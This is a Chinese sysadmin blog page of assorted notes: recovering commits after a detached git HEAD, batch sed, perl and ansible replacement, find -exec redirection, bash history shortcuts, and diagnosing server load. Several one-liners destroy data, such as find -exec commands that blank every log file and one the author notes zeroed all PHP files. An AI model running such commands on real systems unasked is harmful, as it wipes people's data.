向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除|赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.

内容：
背景：提交代码时出现了这个头指针分离自15735cd的问题，提示让：git branch <新分支名> 1c8c2b1，git branch dev 1c8c2b1，而默认创建分支是：git checkout -b dev,这个git branch dev 1c8c2b1，1c8c2b1前面还有c41273a，再前面就是分离的15735cd，于是，把分离后的两个版本，1c8c2b1 和c41273a 建立新的分支，再合并Merge回Master即可达到和提交一样的，找回这丢失的两次提交。


https://git.oschina.net/swoole/swoole/tree/v1.9.11  
git clone https://git.oschina.net/swoole/swoole.git  #git checkout 1.9 然后编译,因默认clone都是最新版。
#git checkout 1.9
分支 1.9 设置为跟踪来自 origin 的远程分支 1.9。
切换到一个新分支 '1.9'

#git branch -a
* 1.9
  master
  remotes/origin/1.9
  remotes/origin/2.0
  remotes/origin/2.0.1
  remotes/origin/HEAD -> origin/master
  remotes/origin/master
  remotes/origin/swoole-1.7
  remotes/origin/swoole-1.8

#git status
位于分支 1.9
您的分支与上游分支 'origin/1.9' 一致。
无文件要提交，干净的工作区

rm -rf .git  #干掉没有用的.git，我只要这个版本的源代码并打包成tar.gz,然后作为rpmbuild -ba swoole-php71-1.9.11.el7.x86_64.spec


把 swoole-php71-1.9.11.el7.x86_64.spec 放进Git的Server端仓库出现问题了，如下：
#git status
头指针分离自 15735cd
无文件要提交，干净的工作区

[root@danke-php-memcached-reids-zookeeper_bj_sjs_10_51_77_34:/home/test/rpmbuild/SPECS/centos7/php71]
#git checkout master
警告：您正丢下 2 个提交，未和任何分支关联：

  1c8c2b1 rpm包Swoole升级到最新版本，以及PHP-CP一块升级提交SPEC文件。
  c41273a 删除掉的Swoole版本的Spec文件，添加新的Swoole版本的Spec文件。

如果您想要通过创建新分支保存它们，这可能是一个好时候。
如下操作：

git branch <新分支名> 1c8c2b1

切换到分支 'master'
您的分支与上游分支 'origin/master' 一致。


#git rev-list 15735cd     ##指针在这儿丢失了：头指针分离自 15735cd。
15735cda1005046d7d671a2f1692f0e4d6edb977
bfaa314f6a7a212a386b3117c59a7e8be0c077a0


#git rev-list 1c8c2b1     #这个是最新的但是没有被记录到Git的Master分支服务器仓库里面。
1c8c2b1968cb303ee103fff62272a31a1b43fb57   #没有记录到，Log:1c8c2b1 rpm包Swoole升级到最新版本，以及PHP-CP一块升级提交SPEC文件。
c41273ad0cb545db8b6f1d4eb81b006552c915c9   #没有记录到，Log:c41273a 删除掉的Swoole版本的Spec文件，添加新的Swoole版本的Spec文件。
15735cda1005046d7d671a2f1692f0e4d6edb977   #指针在这儿丢失了：头指针分离自 15735cd。
bfaa314f6a7a212a386b3117c59a7e8be0c077a0  

怎么办？
这时候可以执行git branch <新分支名> 1c8c2b1创建一个新的分支，这个分支是基于头指针分离下修改提交的952770d创建的。
然后，再合并回Master里面去即可。
操作步骤如下：
git branch dev 1c8c2b1

切换过Dev分支，看提交的Log在不？在就回到Master合并：
#git checkout dev
切换到分支 'dev'
果然在，如下：
#git log
commit 1c8c2b1968cb303ee103fff62272a31a1b43fb57
Author: 詹金斯 <13880156868@163.com>
Date:   Thu Jun 1 22:56:43 2017 +0800

    rpm包Swoole升级到最新版本，以及PHP-CP一块升级提交SPEC文件。

commit c41273ad0cb545db8b6f1d4eb81b006552c915c9
Author: 詹金斯 <13880156868@163.com>
Date:   Thu Jun 1 20:31:59 2017 +0800

    删除掉的Swoole版本的Spec文件，添加新的Swoole版本的Spec文件。

回到Master，直接合并到Master分支，如下：
Merge branch 'dev'
Master的头指针出现：头指针分离自 15735cd，新建立Dev分支,git branch dev 1c8c2b1，合并回Master来。 ----这一行是注释，后Vim保存即可。
# 请输入一个提交信息以解释此合并的必要性，尤其是将一个更新后的上游分支
# 合并到主题分支。
#
# 以 '#' 开头的行将被忽略，而且空提交说明将会终止提交。

保存后，跳到这儿了：
#git merge dev
自动合并 centos7/php71/swoole-php71-1.9.11.el7.x86_64.spec
Merge made by the 'recursive' strategy.
centos7/php71/php-cp-php71-1.5.0.el7.x86_64.spec                               |  2 +-
...swoole-php71-1.9.10.el7.x86_64.spec => swoole-php71-1.9.11.el7.x86_64.spec} | 10 +++++-----
centos7/tomcat-7.0.77.el6.x86_64.spec                                          |  1 -
3 files changed, 6 insertions(+), 7 deletions(-)
rename centos7/php71/{swoole-php71-1.9.10.el7.x86_64.spec => swoole-php71-1.9.11.el7.x86_64.spec} (89%)


再确定合并及注释也Ok了，如下：
#git log
commit 432fbac58b19eb6a799d356b82d087a5340a1411
Merge: 78dab85 1c8c2b1
Author: 詹金斯 <13880156868@163.com>
Date:   Thu Jun 1 23:24:33 2017 +0800

    Merge branch 'dev'
    Master的头指针出现：头指针分离自 15735cd，新建立Dev分支,git branch dev 1c8c2b1，合并回Master来。

成功！
git branch -D 大写的D 删除分支，git branch -D dev：
#git branch -D dev
已删除分支 dev（曾为 1c8c2b1）。
参考：http://blog.csdn.net/yuelengloulan/article/details/72823420

记住，斜杠要转意，再就是是 sed -n 's#abc#def#p' replcee.txt  ==>  sed -i 's#abc#def#' replcee.txt 不要有g，如： sed -i #abc#def#g replcee.txt,出现没有被替换：
sed -n "s#,'pdo-mysql-php70-7.0.5'#123#p"  ./*.yml  #单引不行用双引，sed -n 's#,\'pdo-mysql-php70-7.0.5\'#123#p'  ./*.yml
真实的替换将123给去了：
sed -i "s#,'pdo-mysql-php70-7.0.5'##"  ./*.yml sed -i "s#,'opcache-php70-7.0.5'##"  ./*.yml

&符号也要转义：
sed -n 's@^error_reporting =.*@error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT@p' php.ini   error_reporting = E_ALL error_reporting = E_ALL & ~E_DEPRECATED ~E_DEPRECATED error_reporting = E_ALL & ~E_DEPRECATED ~E_STRICT
正确替换为：
sed -n 's@^error_reporting =.*@error_reporting = E_ALL \& ~E_DEPRECATED \& ~E_STRICT@p' php.ini error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT

上面也可以实现先模拟替换，再真实替换，更靠谱一些：
sed -n 's#\/data\/jenkins\/jobs\/jackxiang.com_deploy\/#\/data\/jenkins\/jobs\/jackxiang.com_deploy\/workspace\/#p'  *.yml
真的替换：
sed -i 's#\/data\/jenkins\/jobs\/jackxiang.com_deploy\/#\/data\/jenkins\/jobs\/jackxiang.com_deploy\/workspace\/#'  *.yml


替换一下PHP的SOCK文件位置,/usr/local/php/var/run/php-fpm.sock  ===>  /dev/shm/php-fcgi.sock：
cat /usr/local/php/etc/php-fpm.conf |grep php-fpm.sock
cat /usr/local/nginx/conf/vhost/*.conf|grep php-fpm.sock
新的:
cat /usr/local/php/etc/php-fpm.conf |grep php-fcgi.sock  
cat /usr/local/nginx/conf/vhost/*.conf|grep php-fcgi.sock

启动Nginx和PHP成功后删除软链接的sock文件：
ls -lart /usr/local/php/var/run/php-fpm.sock
rm -rf /usr/local/php/var/run/php-fpm.sock

ansible 10.70.32.33,10.70.32.32 -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#' /usr/local/nginx/conf/vhost/*.conf"

ansible 10.70.32.33,10.70.32.32 -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#' /usr/local/php/etc/php-fpm.conf"


cp -rf  /usr/local/php/etc/php-fpm.conf  /usr/local/php/etc/php-fpm.conf.bak.04.20
sed -i "s/\/usr\/local\/php\/var\/run\/php-fpm.sock/\/dev\/shm\/php-fcgi.sock/g" /usr/local/php/etc/php-fpm.conf
diff /usr/local/php/etc/php-fpm.conf.bak.04.20 /usr/local/php/etc/php-fpm.conf
service php-fpm restart

替换Nginx的配置文件：
ansible xiyou_vedio_upload -a"cp /usr/local/nginx/conf/nginx.conf  /usr/local/nginx/conf/nginx.conf.bak.07.21"   ansible xiyou_vedio_upload -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#' /usr/local/nginx/conf/nginx.conf"
批量测试：
ansible jack_vedio_upload -a"curl -i -H"Host:u.jackxiang.com" http://127.0.0.1/simpleupload.php"|grep 200 -B 2 > simpleupload.php.test.response.200.log


批量：

ansible 10.71.182.6 -a"sed -i 's/\/usr\/local\/php\/var\/run\/php-fpm.sock/\/dev\/shm\/php-fcgi.sock/g' /usr/local/php/etc/php-fpm.conf   && service php-fpm restart"

换成#号：
ansible 192.168.112.161 -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#g' /usr/local/php/etc/php-fpm.conf"


sed -n 's#\/usr\/local\/php\/var\/run\/php-fpm\.sock#\/dev\/shm\/php-fcgi\.sock#p' /usr/local/nginx/conf/vhost/*.conf


用ansible尝试批量替换#p ,注意显示内容：

ansible 10.71.182.6 -a"sed -n 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#p' /usr/local/nginx/conf/vhost/*.conf"


正式开始批量替换：

ansible 10.71.182.6 -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#' /usr/local/nginx/conf/vhost/*.conf"

ansible xiyou -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#' /usr/local/nginx/conf/vhost/*.conf"  
ansible xiyou_api -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#' /usr/local/nginx/conf/vhost/*.conf"  
ansible xiyou_my -a"sed -i 's#\/usr\/local\/php\/var\/run\/php-fpm.sock#\/dev\/shm\/php-fcgi.sock#' /usr/local/nginx/conf/vhost/*.conf"  


<H2 class=post-title>用<FONT style="BACKGROUND-COLOR: #ffff00">awk</FONT>和sed实现批量替换文件中的控制字符</H2><DIV class=post-body>　　有时候会遇到这样一个问题，就是把文件ftp上传到AIX系统以后，发现文件中包含了一些特殊的控制字符，例如最常见的^M。如果文件只是一个两个，那直接用vi打开文件，把文件中的控制字符替换掉就可以了。但如果文件数量很多的话，这样一个个去改就会变得很麻烦。这时候我们可以通过<FONT style="BACKGROUND-COLOR: #ffff00">awk</FONT>和sed实现对多个文件的批量处理，具体步骤如下：
1）假设需要修改的文件放在/tmp/test1目录下，然后新建一个目录，如/tmp/test2目录，这个目录用来存放修改后的文件。
ls -1 * &#124; <FONT style="BACKGROUND-COLOR: #ffff00">awk</FONT> '{print "sed 's/^M//g' "$1" &gt;/tmp/test2/"$1}' &gt; sed.sh
生成的脚本文件如下所示：<BR><div class=code>sed s/^M//g test.txt &gt;/tmp/test2/test.txt
sed s/^M//g test2.txt &gt;/tmp/test2/test2.txt
3）执行生成的脚本文件：
就会在/tmp/test2目录下生成去掉控制字符^M后的文件。
一些其他的方法可以参考以下的文章：
<U><FONT color=#0000ff>用sed批量替换文件中的字符</FONT></U></A>
<U><FONT color=#0000ff>批量修改文件</FONT></U></A>
<U><FONT color=#0000ff>sed的in-place edit选项，和RTFM</FONT></U></A>


方法1：
这两天在构建一个应用的使用用到了maven,由于project很大,足足有700多个pom.xml文件,更郁闷的是在很多pom.xml文件里都单独指定了资源库的url,我需要把这些资源库的url统一指定到nexus本地中央库.
手工一个个改文件配置有点不太实际,所以google了一下,找到批量替换文件内容的好方法,命令结构如下:
find -name '要查找的文件名' &#124; xargs perl -pi -e 's&#124;被替换的字符串&#124;替换后的字符串&#124;g'下面这个例子就是将当前目录及所有子目录下的所有pom.xml文件中的&#8221;http://repo1.maven.org/maven2&#8220;替换为&#8221;http://localhost:8081/nexus/content/groups/public&#8220;.
find -name 'pom.xml' &#124; xargs perl -pi -e 's&#124;http://repo1.maven.org/maven2&#124;http://localhost:8081/nexus/content /groups/public&#124;g'这里用到了Perl语言,
perl -pi -e 在Perl 命令中加上-e 选项，后跟一行代码，那它就会像运行一个普通的Perl 脚本那样运行该代码.
从命令行中使用Perl 能够帮助实现一些强大的、实时的转换。认真研究正则表达式，并正确地使用，将会为您省去大量的手工编辑工作。
find -name 'pom.xml' &#124; xargs perl -pi -e 's&#124;http://repo1.maven.org/maven2&#124;http://localhost:8081/nexus/content/groups/public&#124;g'

方法2：
Linux下批量替换多个文件中的字符串的简单方法。用sed命令可以批量替换多个文件中的字符串。
用sed命令可以批量替换多个文件中的字符串。
sed -i "s/原字符串/新字符串/g" `grep 原字符串 -rl 所在目录`
例如：我要把mahuinan替换为huinanma，执行命令：
sed -i "s/mahuinan/huinanma/g" 'grep mahuinan -rl /www'
这是目前linux最简单的批量替换字符串命令了！
具体格式如下：
sed -i "s/oldString/newString/g" `grep oldString -rl /path`
实例代码：sed -i "s/大小多少/日月水火/g" `grep 大小多少 -rl /usr/aa`
sed -i "s/大小多少/日月水火/g" `grep 大小多少 -rl ./`

方法3：
在日程的开发过程中，可能大家会遇到将某个变量名修改为另一个变量名的情况，如果这个变量是一个局部变量的话，vi足以胜任，但是如果是某个全局变量的话，并且在很多文件中进行了使用，这个时候使用vi就是一个不明智的选择。这里给出一个简单的shell命令，可以一次性将所有文件中的指定字符串进行修改：
grep "abc" * -R &#124; awk -F: '{print $1}' &#124; sort &#124; uniq &#124; xargs sed -i 's/abc/abcde/g'

创建规则容易，如何取消规则？
------------------------------------------

开始-----规则---下拉菜单中选择管理规则和通知。
勾选需要取消的规格，将其删除，确定。

来自：http://wenda.so.com/q/1459278170727172?src=140

创建规则：http://wenda.so.com/q/1369953110068210

推荐：二维码（生成及识别），插件地址：https://chrome.google.com/webstore/detail/qr-code-generator-and-rea/hkojjajclkgeijhcmfjcjkddfjpaimek
==============================================================================================================

一）二维码(QR码)生成器(QR Code Generator)解决当前链接变二维码手机入口：
插件地址: https://chrome.google.com/webstore/detail/%E4%BA%8C%E7%BB%B4%E7%A0%81qr%E7%A0%81%E7%94%9F%E6%88%90%E5%99%A8/pflgjjogbmmcmfhfcnlohagkablhbpmg?hl=zh-CN

二）下面这个就对网页里面的图片等等生成二维码，也能识别二维码，也能在页面空白点处生成当前链接的二维码，用它好了，一卸载：
https://chrome.google.com/webstore/detail/qr-code-generator-and-rea/hkojjajclkgeijhcmfjcjkddfjpaimek
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
场景：
昨晚老婆在淘宝上买东西,商家告诉他用手机访问可能会打折,老婆就觉得到手机上访问。

但是那个网址长的不得了。

于是乎我就写了这款插件,方便大家在使用谷歌浏览器的状况下更好的切换到手机访问网站。



安装完点击浏览器右上角图标可以生成当前页面的二维码

然后您就可以用手机二维码工具访问当前页面了。
您可以掏出手机扫二维码就可以访问本站了。
From：https://www.oschina.net/question/1014306_106553

能把网页里面的图片生成二维码，通过手机能访问到参考链接：
http://c7sky.com/chrome-extension-qrcode.html

MySQL 5.6 警告信息 command line interface can be insecure 修复

mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.


在命令行输入密码，就会提示这些安全警告信息。
Warning: Using a password on the command line interface can be insecure.

注: mysql -u root -pPASSWORD 或 mysqldump -u root -pPASSWORD 都会输出这样的警告信息.
1、针对mysql
mysql -u root -pPASSWORD 改成mysql -u root -p 在输入密码即可.

2、mysqldump就比较麻烦了，通常都写在scripts脚本中。

解决方法：
对于 mysqldump 要如何避免出现(Warning: Using a password on the command line interface can be insecure.) 警告信息呢?

vim /etc/mysql/my.cnf
[mysqldump]
user=your_backup_user_name
password=your_backup_password

修改完配置文件后, 只需要执行mysqldump 脚本就可以了。备份脚本中不需要涉及用户名密码相关信息。

来自：http://880314.blog.51cto.com/4008847/1348413

[实践OK]Linux下使用find命令使用-exec 进行两次大括号传入路径进行cat重定向到对应的特定文件可结合xargs 相关命令：http://jackxiang.com/post/6520/
#删除/home/git/gitlab下所有系统日志(每周日11点59分删除一次所有日志)
59 23 * * 0 find /home/git/gitlab/log -name "*.log" -exec bash -c "echo '' > {}" \;
查看： find /data/logs -name "*.log*" -exec bash -c "du -sh {}" \; 清空： find /data/logs -name "*.log*" -exec bash -c "echo '' > {}" \;

=============================================
这个解决方法我可是找了好久。。。正确写法：
find . -name "*.log" -exec sh -c  'echo "" > {}' \ ;

find -name "*" -exec sh -c 'cat {} > {}.out.iso' \;
find -name "*.php" -exec bash -c "mv -f {} {}.tmp" \;
find -name "*.php" -exec bash -c "copy {} {}.tmp" \;
find -name "*.php" -exec bash -c "sed -e 's/aaa/bbb/' {} > {}.tmp; mv -f {}.tmp {}" \;

替换文件名内容：

find /tmp/exectest  -name "*.txt" -exec bash -c "ls {}" \;                    
/tmp/exectest/b.txt
/tmp/exectest/aaa/ccc.txt

find /tmp/exectest  -name "*.txt" -exec bash -c "ls {}|sed -e 's/txt/php/'" \;        
/tmp/exectest/b.php
/tmp/exectest/aaa/ddd.php






批量给不同层次的目录包含的*.log里写入jackwriteLog或清空日志：
find -name "*.log" -exec bash -c "echo '' > {}" \;
#删除/home/git/gitlab下所有系统日志(每周日11点59分删除一次所有日志)
59 23 * * 0 find /home/git/gitlab/log -name "*.log" -exec bash -c "echo "" > {}" \;
修改为这样：
#删除/home/git/gitlab下所有系统日志(每周日11点59分删除一次所有日志)
find /home/git/gitlab/log -name "*.log" -exec bash -c "echo "" > {}" \;



# find -name "*.log" -exec bash -c "echo 'jackwriteLog' > {}" \;        
# cat  ./k.log
jackwriteLog
# cat  ./n/n.log
jackwriteLog
# cat  ./n/j/a.log
jackwriteLog


find -name "*.php" -exec bash -c "cp {} {}.tmp" \;  
a.php  a.php.tmp  b.php  b.php.tmp



@ 2010-08-20 BS一下不看manpage的自己
引用
$ man sed
...
      -i[SUFFIX], --in-place[=SUFFIX]
              edit files in place (makes backup if extension supplied)
...
也就是说，只需要用 sed -i 就可以直接替换文件中的内容

======以前的分割线======

要用sed批量修改文件的内容，但是用这个命令解决不了问题：
find -name "*.php" -exec sed -e 's/aaa/bbb/' {} > {} \;
因为bash把 > 解释为find命令输出的重定向。
修改一下：
find -name "*.php" -exec sed -e 's/aaa/bbb/' {} \> {} \;
还是不行，因为 sed 去寻找一个名为 > 的文件进行处理
再修改：
find -name "*.php" -exec "sed -e 's/aaa/bbb/' {} \> {} " \;
还是不行，因为find去找一个名为 "sed -e 's/aaa/bbb/' {} \> {} " 的程序来执行
那是囧之又囧阿。于是去baidu，去google，
但是无论baidu还是google "find -exec 重定向"
都搜不到相应的解决方案，这样的问题居然没有人遇到过？
于是用google搜了一下
引用
linux find using "-exec" sed redirect

搜到了这一页： http://www.loisch.de/linux.html
看来还是国人太ooxx了，sigh。

解决方案其实很简单：绕个弯，把 -exec 的命令给shell来执行
注意：下面的命令一定不要在有用的文件上直接尝试！！！！！！
引用
find -name "*.php" -exec bash -c "sed -e 's/aaa/bbb/' {} > {}" \;

哦也！没有错误提示了！
然后 ls -al 一下，爽！所有文件大小都变成 0 了！
为什么捏？那篇文章里面解释了：
因为bash检测到需要重定向到那个文件，所以事先把那个文件清空了。
那篇文章里面提到一个修改bash配置的解决方案，但是不通用，建议还是用他说的第二种方案：
引用
find -name "*.php" -exec bash -c "sed -e 's/aaa/bbb/' {} > {}.tmp; mv -f {}.tmp {}" \;

嘿，这下爽了！
From:https://www.felix021.com/blog/read.php?1465




像下面这些文章只是说这么用，但从不说为何，在QQ群里说只一句重定向，没一个解释更深入点的，附录：
如何在-exec参数中使用重定向
http://www.2cto.com/os/201306/222794.html

Clear log file content without impacting service that is running (in batch):

find . -name "*.log" -exec bash -c ">{}" \;

Subsitute file content in batch:

find -name "*.xml" -exec bash -c "sed -e 's/aaa/bbb/' {} > {}" \;

http://blog.csdn.net/duanlove/article/details/8261677

在shell中，!$是一个特殊的环境变量，它代表了上一个命令的最后一个参数。
自己常常使用：Esc + . 和!$一样一样的。
$! 刚好写法相反，则表示Shell最后运行的后台Process的PID，看下面的例子：

mkdir -p /tmp/a/b/c/d/e/f
# ls !$
ls /tmp/a/b/c/d/e/f
# ls !$
ls /tmp/a/b/c/d/e/f
a.txt  b.txt  c.txt
# rm -Rf !$
rm -Rf /tmp/a/b/c/d/e/f
# ls !$
ls /tmp/a/b/c/d/e/f
ls: 无法访问/tmp/a/b/c/d/e/f: 没有那个文件或目录



Shell参数变量之 !:0是命令行，!:1是参数1，!:2是参数2，如下所示:

[root@justwinit-php-mysql_bj_sjs_10_44_202_177 ~]# echo hello world
hello world
[root@justwinit-php-mysql_bj_sjs_10_44_202_177 ~]# echo !:3
-bash: :3: bad word specifier
[root@justwinit-php-mysql_bj_sjs_10_44_202_177 ~]# echo hello world
hello world
[root@justwinit-php-mysql_bj_sjs_10_44_202_177 ~]# echo !:2
echo world
world
[root@justwinit-php-mysql_bj_sjs_10_44_202_177 ~]# echo !:1
echo world
world



例二：
# free -m
              total        used        free      shared  buff/cache   available
Mem:            991         856          32          34         103          29
Swap:          1407         321        1086

# free !:1
free -m              total        used        free      shared  buff/cache   available
Mem:            991         856          36          34          98          31
Swap:          1407         321        1086

===============================================
$ echo hello world
hello world
$ echo !$
echo worldworld
$ echo "hello world"
hello world
$ echo !$
echo "hello world"
hello world
这里为什么要用echo呢，请看下面，如果不用echo，!$输出的内容（world）会被shell当做一个命令来执行，所以就会报错
$ echo hello world
hello world
$ !$
world
No command 'world' found, did you mean:
Command 'tworld' from package 'tworld' (universe)
world: command not found
应用场景示例
1、建立多层目录并进入建立好的多层目录
$ mkdir -p a/b/c/d/e
$ cd a/b/c/d/e
改成
$ mkdir -p a/b/c/d/e
$ cd !$
上面mkdir -p命令用来一次性建立多层目录
2、编写文件后检测文件格式或者编译文件
$ vi a.php
$ php -l !$
或者
$ vi main.c
$ gcc !$

你可能不知道的超实用shell技巧 —— !$。
中，我们知道了 在shell中，!$代表了上一个命令的最后一个参数。那如果要获取上个命令的其它参数该怎么操作呢？
还是以echo hello world命令为例，下面就演示在该命令执行完成后，如何获取命令的各个参数甚至命令本身。
# echo helloworld
hello world
# echo !:1
echo hello
hello
# echo helloworld
hello world
# echo !:2
echo world
world
# echo hello world
hello world
# echo !:3
-bash: :3: bad word specifier
在调用!:3的时候出错了，因为上一次的命令只有两个参数。
下面你应该知道如何获取上次执行的是哪个命令了，那就是!:0，请看下面
# echo hello world
hello world
# echo !:0
echo echo
echo
其实呢，有更好的表示方法，看下面
# echo hello world
hello world
# echo !#
echo echo
echo
总结
!# 上一个命令名
!$ 上一个命令的最后一个参数
!:n 上一个命令的第n个参数
参考文章
http://crazyof.me/blog/archives/171.html

结论：僵尸进程 杀杀杀  杀不死 重启机器  
The system is going down for halt NOW!
====================================================

uptime
16:22:19 up 735 days,  5:48,  7 users,  load average: 59.70, 58.29, 54.91
close_wait状态出现的原因是被动关闭方未关闭socket造成
tcp      179      0 127.0.0.1:80                127.0.0.1:4184              CLOSE_WAIT  -                  
tcp      175      0 127.0.0.1:80                127.0.0.1:6038              CLOSE_WAIT  -                  
tcp      177      0 127.0.0.1:80                127.0.0.1:4121              CLOSE_WAIT  -  

netstat -atlunp|grep 80|grep CLOSE_WAIT|wc
3716   26012  405044


----查看当前进程打开了多少句柄数

# lsof -n|awk '{print $2}'|sort|uniq -c|sort -nr|more
162 34255
162 33984
162 33525
162 33356　
........

其中第一列是打开的句柄数，第二列是进程ID。


[root@itv-api_php_bj_syq_10_70_XX_XX www]# service nginx restart
Stopping nginx:                                            [  OK  ]
Starting nginx: nginx: [warn] conflicting server name "common.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cctv.com" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "common.newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cctv.com" on 0.0.0.0:80, ignored


strace  -f -p 56014  -p 56015  -p 56016  -p 56017  -p 56018  -p 56019  -p 56020  -p 56021  -p 56022  -p 56023  -p 56024  -p 56025
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
Process 56015 attached - interrupt to quit
Process 56016 attached - interrupt to quit
Process 56017 attached - interrupt to quit
Process 56018 attached - interrupt to quit
Process 56019 attached - interrupt to quit

不是僵尸？ 那就是孤儿

http://blog.csdn.net/wesleyluo/article/details/6079139
http://blog.chinaunix.net/uid-10257388-id-2967161.html

背景：面对一个不熟悉上面所跑哪些应用的16核心机器，出现负载到56这样的情况，而通过top命令后按P看CPU高的，也并不高，此时，可以想到的是某个核心太高，因为top里面默认的值是平均值，16个核心平均下来其CPU使用效率并不高，鉴于此，得在top输出时按下1，然后定位到某个核心高，才能有的放矢的查看该CPU上跑了哪些应用，贴个简单的命令吧，具体实践排查详细过程在：
ps -eo 'psr pid pcpu command'|sort -k1 -n|grep -E '^ {1,2}(9|12|13|15) '|less  
实战，/usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf ：
ps -eo 'psr pid pcpu command'|sort -k1 -n|grep -E '^{5}'   0 28167  0.0 /usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf   0 28168  0.0 /usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf   0 28717  0.0 /usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf   0 28718  0.0 /usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf   0 28740  0.0 /usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf   0 28741  0.0 /usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf 发现是Rsyncd进程引起的，于是杀死rsyncd进程： ps aux|grep rsyncd|grep -v grep |awk '{print "kill -9 "$2}'|sh 用Top命令发现，CPU第0颗的负载太高，如下： Tasks: 209 total,   1 running, 208 sleeping,   0 stopped,   0 zombie Cpu0  :  0.0%us,  0.0%sy,  0.0%ni, 0.08%id,  99.2%wa,  0.0%hi,  0.0%si,  0.0%st Cpu1  :  0.0%us,  0.1%sy,  0.0%ni, 96.8%id,  3.1%wa,  0.0%hi,  0.0%si,  0.0%st

Top命令下按1后第三行显示比较关键：
Cpu0  :  0.0%us,  0.0%sy,  0.0%ni,  0.0%id,100.0%wa,  0.0%hi,  0.0%si,  0.0%st
top命令的第三行“Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st”显示的内容依次为“用户空间占用CPU百分比”、“内核空间占用CPU百分比”、“用户空间内改变过优先级的进程占用CPU百分比”、“空闲CPU百分比”、“等待输入输出CPU时间百分比”、“CPU服务于硬件中断所耗费的时间总额”、“CPU服务软中断所耗费的时间总额”、“Steal Time”

Kipmi0 占用100% CPU1核：
https://yq.aliyun.com/articles/15198

方法1：使用iotop工具
这是一个python脚本工具，使用方法如：iotop -o


方法2：使用工具dmesg
使用dmesg之前，需要先开启内核的IO监控：
echo 1 >/proc/sys/vm/block_dump或sysctl vm.block_dump=1


然后可以使用如下命令查看IO最重的前10个进程：
dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10


方法3：使用命令“iostat -x 1“确定哪个设备IO负载高:
# iostat -x 1 3
avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           1.06    0.00    0.99    1.09    0.00   97.85


Device:    rrqm/s wrqm/s   r/s   w/s  rsec/s  wsec/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %util
sda          0.49  17.29  1.74  6.75   23.47  200.18    11.73   100.09    26.33     0.10   12.25   5.73   4.87


找“await”值最大的设备（Device），如上的结果即为sda。
​

然后使用mount找到sda挂载点，再使用fuser命令查看哪些进程在访问，如：
# fuser -vm /data

==================================================================================
进程占用cpu资源过多负载高的原因分析及解决步骤
2011-10-20 10:30:05
标签：负载高 nginx 休闲 apache linux
觉得写的非常好，以后会用到 ，所以转了过来，一切归原作者所有！
转自这里
服务器环境：redhat linux 5.5 , nginx , phpfastcgi


在此环境下，一般php-cgi运行是非常稳定的，但也遇到过php-cgi占用太多cpu资源而导致服务器响应过慢，我所遇到的php-cgi进程占用cpu资源过多的原因有：


1. 一些php的扩展与php版本兼容存在问题，实践证明 eAccelerater与某些php版本兼容存在问题，具体表现时启动php-cgi进程后，运行10多分钟，奇慢无比，但静态资源访问很快，服务器负载也很正常（说明nginx没有问题，而是php-cgi进程的问题），解决办法就是从php.ini中禁止掉eAccelerater模块，再重启 php-cgi进程即可


2. 程序中可能存在死循环，导致服务器负载超高（使用top指令查看负载高达100+）, 需要借助Linux的proc虚拟文件系统找到具体的问题程序


3. php程序不合理使用session , 这个发生在开源微博记事狗程序上，具体表现是有少量php-cgi进程（不超过10个）的cpu使用率达98%以上， 服务器负载在4-8之间，这个问题的解决，仍然需要借助Linux的proc文件系统找出原因。


4. 程序中存在过度耗时且不可能完成的操作（还是程序的问题），例如discuz x 1.5的附件下载功能: source/module/forum/forum_attachement.php中的定义
function getremotefile($file) {
global $_G;
@set_time_limit(0);
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}  


没有对传入的参数作任何初步检查，而且设置了永不超时，并且使用readfile一次读取超大文件，就可能存在以下问题：
A. 以http方式读取远程附件过度耗时
